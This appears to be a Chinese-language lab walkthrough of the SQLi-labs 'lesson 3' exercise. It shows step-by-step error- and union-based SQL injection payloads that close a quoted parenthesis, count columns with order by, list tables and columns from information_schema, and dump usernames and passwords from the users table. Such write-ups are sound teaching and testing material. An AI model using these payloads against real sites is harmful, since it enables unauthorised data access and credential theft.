lesson-3-GET-Error based - Single quotes with twist - String
一、判断是否存在注入点
使用单引号 ’ 判断,
得到报错信息,并且从报错信息上看到多了个单引号;
查看源代码,也可以看出id 被括号括起来;
二、判断注入类型
用减法判断,当id=1 ,结果为 Dumb
当id=2-1 ,得到Angelina
两种情况结果不一致,所以是字符型注入,同时,要注意闭合括号。
三、破解 SQL 查询语句中的字段数
使用 order by N 猜解字段数 ,记得闭合括号,
1') order by 4--+
order by 3 时正常显示,by 4 报错;所以字段数为 3.
四、获取当前数据库
构造union select 查询
-1') union select 1,2,database()--+
得到数据库名为 security
五、获取数据库中的表
构造 union select 根据库名查询表名,记得闭合右括号 )
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
得到表名:emails,referers,uagents,users
六、获取表中的字段名
以users表为例,根据表名,获取表的字段名;构造查询语句
-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+
得到 字段名:id,username,password
七、查询到账户的数据
根据表名、字段名,构造select语句获取具体数据;
-1') union select 1,2,group_concat(id,':',username,':',password) from users--+